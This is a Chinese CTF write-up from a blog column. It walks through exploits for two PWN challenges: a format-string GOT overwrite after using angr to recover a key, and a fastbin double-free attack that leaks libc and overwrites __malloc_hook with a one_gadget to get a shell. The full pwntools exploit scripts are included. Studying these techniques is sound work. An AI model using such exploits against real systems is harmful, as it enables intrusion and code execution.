前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >深思杯PWN复现(一)

深思杯PWN复现(一)

作者头像
yichen
发布2020-10-28 10:44:17
6090
发布2020-10-28 10:44:17
举报

MinZhu

题目地址:

https://pan.baidu.com/s/1fbtezOCoB2GXf2psd52wzA

提取码:4pxd

这是第一道 PWN 题目,是一道格式化字符串漏洞的题目,但是开头需要检验一个 key,要逆向找出那个 key

首先有一个对 key 的检测

要分析那一些 &&,把 key 找出来才能进入,直接使用 angr 就可以

代码语言:javascript
复制
import angr
p = angr.Project("./pwn")
state = p.factory.entry_state()
sm = p.factory.simulation_manager(state)
res = sm.explore(find=0x08048817,avoid=0x0804882B)
print(res.found[0].posix.dumps(0))

找出来 key 是 xNd9y6,然后看一下格式化字符串漏洞解析的位置,是第四个

程序有一个后门,可以输出 flag,覆盖后面要执行的一个函数的地址为它就能打印出 flag 了

代码语言:javascript
复制
from pwn import *
p = process("./pwn")
p.recvuntil("Key:")
p.sendline("xNd9y6")
p.recvuntil("your msg:")
payload2 = fmtstr_payload(4, {0x804A034:0x080486B5})
print(len(payload2))
p.sendline(payload2)
p.interactive()

关于格式化字符串漏洞可以看之前的文章:PWN-格式化字符串漏洞

heap_doublefree_x64

题目地址:

https://pan.baidu.com/s/1SVeskG4Rm9HTSmNR5jxL3A

提取码: gdx7

这是一道 fastbin double free 的题目,通过这道题复习了一下之前学了又忘了的知识2333

free 的时候只是把存放的堆指针的地方给置为 0 了,没有把 chunk 给置为 0

fastbin double free 的时候是这么一个指针

可以把 fd 指针的最后一位改成 \x50,这样再去 malloc 的时候就能申请到 0x603050

代码语言:javascript
复制
add(0x20,"1111")
add(0x20, p64(0) + p64(0x31) + p64(0) + p64(0x31))#要注意0x603050那里的size
add(0x20, "3333")
add(0x60, "4444")#这俩0x60是为了确保有后面0x110大小的空间
add(0x60, "5555")#0x70+0x70+0x30=0x110
add(0x20, "2333")#这个是防止0x110与top chunk合并的
delete(1)
delete(2)
delete(1)
add(0x20, "\x50")
add(0x20, "\x50")
add(0x20, "\x50")
add(0x20, p64(0) + p64(0x111))

然后 free 掉,再 malloc 回来去 show 就能显示出来,然而我们会改掉后面那一位,不过不要紧,后三位基本都是 0x00 的

代码语言:javascript
复制
delete(3)
add(0x30, "\x20")#11
show()
p.recvuntil("Total:11,Index->11\nSticky note:")
unsortedbin = u64(p.recv(6).ljust(8, '\x00'))
libc_base = unsortedbin -0x100 - 0x3c4b20#这个使用main_arena算出来的

然后就能计算出 malloc_hook 与 one_gadget 的地址了

代码语言:javascript
复制
malloc_hook = libc_base + libc.sym['__malloc_hook']
one_gadget = libc_base + 0xf1207
malloc_addr = malloc_hook - 0x30 + 0xd

在我电脑上 one_gadget 中的 0xf1207 可以用

这个 malloc_addr 是算了个偏移,为了后面申请到 malloc_hook 的时候能有个 size 位绕过检查

然后还是上面的套路,fastbin double free 把 malloc_hook 的地址改为 one_gadget

代码语言:javascript
复制
add(0x60,"1212")#12
add(0x60,"1313")#13
add(0x60,"1414")#14
delete(12)
delete(13)
delete(12)
add(0x60, p64(malloc_addr))
add(0x60, p64(malloc_addr))
add(0x60, p64(malloc_addr))
payload = "a" * 3 + p64(0) + p64(0) + p64(one_gadget)
add(0x60, payload)

然后去申请的时候就能拿到 shell 了

完整 EXP:

代码语言:javascript
复制
from pwn import *
context(log_level="DEBUG")
p = process('./pwn')
elf = ELF('./pwn')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')

def add(size,content):
  p.sendlineafter("choice:","1")
  p.sendlineafter("length of data:\n",str(size))
  p.recvuntil("Leave your message:\n")
  p.send(content)
  
def delete(index):
  p.sendlineafter("choice:","2")
  p.sendlineafter("want to delete:\n",str(index))
  
def show():
  p.sendlineafter("choice:","3")
  
def modify(index,content):
  p.sendlineafter("choice:","4")
  p.sendlineafter("want to modify:\n",str(index))
  p.sendlineafter("to modify:\n",content)

def quit(suggest):
  p.sendlineafter("choice:","5")
  p.sendlineafter("your advice:\n",suggest)

add(0x20,"1111")#1
add(0x20, p64(0) + p64(0x31) + p64(0) + p64(0x31))#2
add(0x20, p64(0) + p64(0x31))#3
add(0x60, "4444")#4
add(0x60, "5555")#5
add(0x20, "2333")#6
delete(1)
delete(2)
delete(1)
add(0x20, "\x50")#7
add(0x20, "\x50")#8
add(0x20, "\x50")#9
add(0x20, p64(0) + p64(0x111))#10
delete(3)
add(0x30, "\x20")#11
show()
p.recvuntil("Total:11,Index->11\nSticky note:")
unsortedbin = u64(p.recv(6).ljust(8, '\x00'))
libc_base = unsortedbin -0x100 - 0x3c4b20
malloc_hook = libc_base + libc.sym['__malloc_hook']
one_gadget = libc_base + 0xf1207
malloc_addr = malloc_hook - 0x30 + 0xd

add(0x60,"1212")#12
add(0x60,"1313")#13
add(0x60,"1414")#14
delete(12)
delete(13)
delete(12)
add(0x60, p64(malloc_addr))
add(0x60, p64(malloc_addr))
add(0x60, p64(malloc_addr))
payload = "a" * 3 + p64(0) + p64(0) + p64(one_gadget)
add(0x60, payload)
p.recvuntil("Your choice:")
p.sendline("1")
p.recvuntil("Input the length of data:\n")
p.sendline("21")
p.interactive()
本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2020-10-16,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 陈冠男的游戏人生 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档